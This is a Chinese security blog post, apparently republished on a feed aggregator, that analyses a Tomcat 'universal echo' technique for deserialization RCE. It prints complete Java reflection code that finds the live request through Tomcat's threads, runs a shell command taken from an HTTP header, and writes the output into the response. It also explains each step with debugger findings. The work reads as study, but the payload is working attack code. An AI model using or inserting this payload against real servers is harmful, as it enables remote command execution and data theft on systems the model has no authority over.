惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

G
Google Developers Blog
Jina AI
Jina AI
大猫的无限游戏
大猫的无限游戏
Martin Fowler
Martin Fowler
博客园 - 司徒正美
云风的 BLOG
云风的 BLOG
C
Cybersecurity and Infrastructure Security Agency CISA
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
S
Securelist
S
Security Affairs
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
L
LINUX DO - 热门话题
博客园 - 三生石上(FineUI控件)
T
Threatpost
T
The Blog of Author Tim Ferriss
C
CERT Recently Published Vulnerability Notes
IT之家
IT之家
P
Palo Alto Networks Blog
Microsoft Azure Blog
Microsoft Azure Blog
Spread Privacy
Spread Privacy
Cyberwarzone
Cyberwarzone
腾讯CDC
L
LangChain Blog
Know Your Adversary
Know Your Adversary
C
CXSECURITY Database RSS Feed - CXSecurity.com
GbyAI
GbyAI
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
I
Intezer
T
Tor Project blog
AWS News Blog
AWS News Blog
T
Tenable Blog
NISL@THU
NISL@THU
Security Latest
Security Latest
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
H
Hackread – Cybersecurity News, Data Breaches, AI and More
人人都是产品经理
人人都是产品经理
MongoDB | Blog
MongoDB | Blog
MyScale Blog
MyScale Blog
D
DataBreaches.Net
Microsoft Security Blog
Microsoft Security Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
量子位
美团技术团队
The Cloudflare Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
罗磊的独立博客
The GitHub Blog
The GitHub Blog
阮一峰的网络日志
阮一峰的网络日志
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Stack Overflow Blog
Stack Overflow Blog

SumSec's Blog

AI Agent 工程的必然演进:CLI、Skills、Harne… 从安全角度谈Java反射机制--前章 · SUMSEC 从安全角度谈Java反射机制--终章 · SUMSEC 逆向学习fastjson反序列化始 · SUMSEC 2020年研究回顾总结 · SUMSEC Abstract syntax tree classes for … Analyzing data flow in Java · SUM… Annotations in Java · SUMSEC Basic query for Java code · SUMSEC BypassSuper使用介绍说明 · SUMSEC CodeQL Create OpenJdk/Jdk8 Databa… CodeQL library for Java · SUMSEC Navigating the call graph · SUMSEC Overflow-prone comparisons in Jav… Types in Java · SUMSEC Working with source locations · S… Aliases · SUMSEC Expression · SUMSEC Formulas · SUMSEC Javadoc · SUMSEC Modules · SUMSEC Predicates · SUMSEC Queries · SUMSEC Type · SUMSEC Variables · SUMSEC 一道shiro反序列化题目引发的思考 · SUMSEC 修改ysoserial使其支持任意代码执行 · SUMSEC 自定义 ClassLoader 隔离运行不同版本jar包的方式 ·… 2020网鼎杯---Java文件上传wp · SUMSEC CNVD-2020-10487(CVE-2020-1938)tom… JDSRC安全课笔记 · SUMSEC Java反序列化链回显解决方案 · SUMSEC Skipped breakpoint because it hap… Windows Terminal 配置文件 · SUMSEC bypass 学习笔记之绕安全狗bypass safedog · … 一次意外的代码审计----JfinalCMS审计 · SUMSEC 一篇文章读懂Java代码审计之XXE · SUMSEC 从安全角度谈Java反射机制--序章 · SUMSEC 小楼昨夜又春风,你知ysoserial-Gadget-URLDNS… 春眠不觉晓,RCE知多少? · SUMSEC 漫谈Commons-Collections反序列化 · SUMSEC 漫谈Java反序列化 · SUMSEC 白头搔更短,SSTI惹人心! · SUMSEC 记一次面试题 · SUMSEC About Me 关于我 · SUMSEC Apache Flink任意Jar包上传导致远程代码执行 · SU… CVE-2019-1388 UAC提权复现 · SUMSEC CVE-2019-16097 || Harbor任意管理员注册漏洞… Python加密shellcode免杀 · SUMSEC Telegram机器人作为渗透测试框架 · SUMSEC VM虚拟机无法安装vmtools解决|本程序需要您将此虚拟机上安装… 谁能想到,电视遥控器竟成了 Vibe Coding 神器 · SU… 从手改 Skill 到自动进化:评测结果和执行轨迹如何让 Agen… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的SKIL… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的Skil… AI 时代 ShiroAttack2 5.x:修改了什么 · SU… 在 AGI 降临前,先给 AI 开一条”脑内弹幕”通道 · SUM… 一篇博文,三种时间:网页幻灯与 Remotion 动效的交付逻辑 … 🔍 别让大模型”想太多”:SKILL开发中的语义陷阱与抗幻觉设计 … 2022 年年度总结 · SUMSEC Java Swing To RCE 漏洞分析 · SUMSEC SpringBoot GatewayEL表达式漏洞分析 · SUM… Sensitive keys in codebases · SUM… 论如何优雅注入 Java 内存马 · SUMSEC SUMSEC 知识点 · SUMSEC VMWare Workspace ONE Access Auth … Spring Framework RCE CVE-2022-229… 相似度算法调研 · SUMSEC CVE-2022-33891 Apache Spark shell… 正则匹配配置不当 · SUMSEC Spring Data MongoDB SpEL CVE-2022… CodeQl Usage Tricks · SUMSEC Spring Boot RCE到内存马探索 · SUMSEC Shiro后渗透拓展面 · SUMSEC shiro反序列化漏洞攻击拓展面–修改key · SUMSEC GitHub Java CodeQL CTF · SUMSEC Hack-Tools 转化成Web · SUMSEC CodeQL与Shiro550碰撞 · SUMSEC CodeQL初见Shiro550 · SUMSEC CodeQL与AST之间联系 · SUMSEC Java加载动态链接库 · SUMSEC Log4j2 漏洞分析 · SUMSEC Interprocedural-Analysis 过程间分析 · … Data Analysis Foundation 数据分析基础 ·… Data Flow Analysis · SUMSEC Intermediate Representation 中间代表(… PII泄露–用CodeQL识别日志中的PII数据 · SUMSEC CodeQL workshop for Java: Unsafe … 前言 · SUMSEC 漏洞环境的搭建 · SUMSEC Fastjson回显 · SUMSEC 从Java反序列化漏洞题看CodeQL数据流 · SUMSEC 概述 · SUMSEC 记一次Log4j失败的Gadget挖掘记录 · SUMSEC Ysoserial改造记录 · SUMSEC JNDI注入 · SUMSEC shiro JRMP gadget · SUMSEC Fastjson MySQL gadget复现 · SUMSEC 2021年度总结 · SUMSEC
Tomcat通用回显学习笔记 · SUMSEC
2023-01-09 · via SumSec's Blog

前言

RCE回显技术在20年突然火爆全网,这里学习跟进一下。看了很多大佬分析技术文章和实现方法可谓是百花齐放,但情有独钟的一种方法是来着zema1/ysoserial里面中的回显技术。Tomcat全版本都能实现回显,和其他大佬的方式不一样点是直接中Thread入手。但目前没看到对此方法的分析,这里斗胆写下自己的一些看法,如有错误还请斧正。

所以的源码、环境都已经上传至https://github.com/SummerSec/JavaLearnVulnerability


回显代码赏析

先贴出代码,大致上分析一下代码。代码来着https://github.com/feihong-cs/Java-Rce-Echo,代码本质上是和zema1/ysoserial的一样,只是换个方法。不难看出代码用了大量的反射,异常处理面对不同版本Tomcat可能出现的情况,与if语句不同,异常处理更加直接点,直接尝试两种方法面对不同情况。

	boolean flag = false;
    ThreadGroup group = Thread.currentThread().getThreadGroup();
    java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
    f.setAccessible(true);
    Thread[] threads = (Thread[]) f.get(group);
    for(int i = 0; i < threads.length; i++) {
        try{
            Thread t = threads[i];
            if (t == null) continue;
            String str = t.getName();
            if (str.contains("exec") || !str.contains("http")) continue;
            f = t.getClass().getDeclaredField("target");
            f.setAccessible(true);
            Object obj = f.get(t);
            if (!(obj instanceof Runnable)) continue;
            f = obj.getClass().getDeclaredField("this$0");
            f.setAccessible(true);
            obj = f.get(obj);
            try{
                f = obj.getClass().getDeclaredField("handler");
            }catch (NoSuchFieldException e){
                f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
            }
            f.setAccessible(true);
            obj = f.get(obj);
            try{
                f = obj.getClass().getSuperclass().getDeclaredField("global");
            }catch(NoSuchFieldException e){
                f = obj.getClass().getDeclaredField("global");
            }
            f.setAccessible(true);
            obj = f.get(obj);
            f = obj.getClass().getDeclaredField("processors");
            f.setAccessible(true);
            java.util.List processors = (java.util.List)(f.get(obj));
            for(int j = 0; j < processors.size(); ++j) {
                Object processor = processors.get(j);
                f = processor.getClass().getDeclaredField("req");
                f.setAccessible(true);
                Object req = f.get(processor);
                Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
                str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
                if (str != null && !str.isEmpty()) {
                    resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
                    String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
                    byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
                    try {
                        Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
                        obj = cls.newInstance();
                        cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
                        resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
                    } catch (NoSuchMethodException var5) {
                        Class cls = Class.forName("java.nio.ByteBuffer");
                        obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
                        resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
                    }
                    flag = true;
                }
                if (flag) break;
            }
            if (flag)  break;
        }catch(Exception e){
            continue;
        }
    }

Thread

1、每个Java应用程序都有一个执行Main()函数的默认主线程。这个就是主线程 2、应用程序也可以创建线程在后台运行。Java主要是通过Java.Lang.Thread类以及Java.lang.Runnable接口来实现线程机制的。这边所有的都是其余线程

在Java的反射中,get方法是可以获取该字段对应的对象,但有一定的条件。ps:在文末补充知识点补充

 		// 获取当前线程组
        ThreadGroup group = Thread.currentThread().getThreadGroup();
        // 反射获取字段threads
        java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
        f.setAccessible(true);
        // f.get(group) 获取 threads 线程中数组对象
        Thread[] threads = (Thread[]) f.get(group);

开启一个spring boot 服务,debug看一下流程。

image-20210621171304714

image-20210621171707685

对流程处理分析,这里引用lucifaer师傅的一张图。

image-20210712172325083


线程处理

获取线程名字,跳过不需要的线程。

String str = t.getName();
//http-nio-8090-BlockPoller continue  NoSuchField异常 i=3
if (str.contains("exec") || !str.contains("http")) {
    continue;
}

如何确定那些线程是需要的呢?

(1)http-nio-8080-Acceptor为请求接收器,其只接收请求,不会对请求做任务业务处理操作,所以默认为单个线程。

(2)http-nio-8080-ClientPoller-0和http-nio-8080-ClientPoller-1为两个是作为轮询器或者转发器使用的,简单来说就是对获取到的SocketWrapper添加到一个线程池中进行处理,这种类型的线程数与CPU的核数有关。

(3)http-nio-8080-exec-1到10是tomcat的一个线程池产生的默认的10线程,这10个线程是用来执行具体的servlet请求操作,线程的数目可以跟随请求说的变化而变化。

以上3种类型的线程有点类似Reactor模式。Tomcat通过Connector中的Acceptor绑定8080端口并接收请求,然后通过Poller,Worker转交给Http11Processor解析出请求。ps: 8080均是指定端口

img

img

结合上面两张图和lucifaer大佬在文章Tomcat通用回显学习中所提交Processor对象,确定所需要的线程是http-nio-xxxx-ClientPoller

利用IDEA功能导出线程栈部分数据如下,数据太多完整版上传GitHub中。不难分析这里出现了Poller对象,有Poller就会有Processor对象。

"http-nio-8090-ClientPoller@5462" daemon prio=5 tid=0x2d nid=NA runnable
  java.lang.Thread.State: RUNNABLE
	  at sun.nio.ch.WindowsSelectorImpl$SubSelector.poll0(WindowsSelectorImpl.java:-1)
	  at sun.nio.ch.WindowsSelectorImpl$SubSelector.poll(WindowsSelectorImpl.java:296)
	  at sun.nio.ch.WindowsSelectorImpl$SubSelector.access$400(WindowsSelectorImpl.java:278)
	  at sun.nio.ch.WindowsSelectorImpl.doSelect(WindowsSelectorImpl.java:159)
	  at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
	  - locked <0x1682> (a sun.nio.ch.WindowsSelectorImpl)
	  - locked <0x168a> (a java.util.Collections$UnmodifiableSet)
	  - locked <0x168b> (a sun.nio.ch.Util$2)
	  at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
	  at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:816)
	  at java.lang.Thread.run(Thread.java:745)

获取Processor对象

  1. 进入线程ClientPoller之后,T基本类型变成了java.lang.Thread。反射获取其中target字段,该字段的类型是Runnable
//str = http-nio-8090-ClientPoller 进入下面 ps: i=14
// java.lang.Thread
f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
// obj ->  NioEndpoint$Poller实例化对象
Object obj = f.get(t);
// NioEndpoint$Poller  implements Runnable
if (!(obj instanceof Runnable)) {
continue;
}

image-20210622072408669

  1. NioEndpoint$Poller是实现了Runnable接口

image-20210622073817914

  1. 这里是一个匿名内部类(NioEndpoint$Poller)获取持有的外部类对象(NioEndpoint)的操作,参考补充小知识this$0。
// this$0 是NioEndpoint对象
f = obj.getClass().getDeclaredField("this$0");
f.setAccessible(true);
  1. 获取到NioEndpoint对象之后,向上获取Handler对象。 NioEndpoint extends AbstractJsseEndpoint<NioChannel, SocketChannel>然而在AbstractJsseEndpoint中是没有Handler字段对象的, 但在其extends AbstractEndpoint中是存在AbstractEndpoint$Handler字段。
// f.get(obj) --> org.apche.tomcat.util.net.NioEndpoint 对象
obj = f.get(obj);
// NioEndpoint extends AbstractJsseEndpoint<NioChannel, SocketChannel> --> extends AbstractEndpoint$Handler
//  AbstractEndpoint$Handler 是一个接口,在org.apche.coyote.AbstractProtocol$ConnectionsHanhler实现
try {
f = obj.getClass().getDeclaredField("handler");
} catch (NoSuchFieldException e) {
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
// obj -->  org.apche.coyote.AbstractProtocol$ConnectionsHanhler
f.setAccessible(true);
obj = f.get(obj);

image-20210622075444742

  1. 在AbstractEndpoint$Handler是一个接口,其实现类AbstractProtocol$ConnectionsHanhler是所需要的Handler。ConnectionsHanhler中是包含global字段。
// obj --> org.apche.coyote.AbstractProtocol$ConnectionsHanhler
try {
f = obj.getClass().getSuperclass().getDeclaredField("global");
} catch (NoSuchFieldException e) {
// obj --> AbstractProtocol$ConnectionsHanhler
f = obj.getClass().getDeclaredField("global");
}

image-20210622080307404

  1. 获取到RequestGroupInfo对象,在RequestGroupInfo之中有包含Processor对象list
// obj --> org.apche.coyote.RequestGroupInfo
f.setAccessible(true);
obj = f.get(obj);
f = obj.getClass().getDeclaredField("processors");
f.setAccessible(true);
// processors --> List<RequestInfo>
java.util.List processors = (java.util.List) (f.get(obj));

image-20210622080509210

  1. 获取到Processor对象之后,接着获取RequestResponse,在然后就是一段读写操作。
				 // processors.size() == 1
                for (int j = 0; j < processors.size(); ++j) {
                    Object processor = processors.get(j);
                    f = processor.getClass().getDeclaredField("req");
                    f.setAccessible(true);
                    // org.apche.coyote.Request
                    Object req = f.get(processor);
                    // org.apche.coyote.Response
                    Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
                    // header cc: "cmd"
                    str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"CC"});
                    if (str != null && !str.isEmpty()) {
                        resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
                        String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
                        String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
                        byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(),charsetName)).useDelimiter("\\A").next().getBytes(charsetName);
                        try {
                            Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
                            obj = cls.newInstance();
                            cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
                            resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
                        } catch (NoSuchMethodException var5) {
                            Class cls = Class.forName("java.nio.ByteBuffer");
                            obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
                            resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
                        }
                        flag = true;
                    }

总结

本篇文章从Thread角度出发,分析如何一步步获取Processor对象,再到RequestGruopInfo对象,最后获取Response并写入回显结果。本文并没有过多分析为什么要获取这些对象,这些内容在其他大佬的文章均有写到。这里推荐我看的时间最久文章Tomcat通用回显

Tomcat


补充小知识

Field.get()

返回这个字段在指定对象上所代表的字段的值。如果该值有一个原始类型,它将被自动包装在一个对象中。 底层字段的值是按如下方式获得的。 如果底层字段是一个静态字段,obj参数被忽略;它可能是空的。 否则,底层字段是一个实例字段。如果指定的obj参数为空,该方法会抛出一个NullPointerException。如果指定的对象不是声明底层字段的类或接口的实例,该方法会抛出一个IllegalArgumentException。 如果这个字段对象正在执行Java语言的访问控制,并且底层字段是不可访问的,该方法会抛出一个IllegalAccessException。如果底层字段是静态的,声明该字段的类将被初始化,如果它还没有被初始化。 否则,该值将从底层实例或静态字段中检索出来。如果字段有一个原始类型,那么在返回之前,该值会被包裹在一个对象中,否则会原样返回。 如果字段被隐藏在obj的类型中,那么字段的值将根据前面的规则获得。

大致作用就是返回该字段的实例对象,如果字段不是类和接口的实例就会报错。


this$0

this$0是指获取匿名内部类持有的外部类对象,大致意思如下,ThirdInner的外部this$0类对象是Outer。更多内容可以参考获取Java匿名内部类持有的外部类对象

public class Outer {//this$0

    public class FirstInner {//this$1

        public class SecondInner {//this$2

            public class ThirdInner {
            }
        }
    }
}

参考

https://zhuanlan.zhihu.com/p/85448047

https://blog.csdn.net/qq924862077/article/details/79617621

https://lucifaer.com/2020/05/12/Tomcat通用回显学习/

https://lgtm.com/query/1252408723639078309/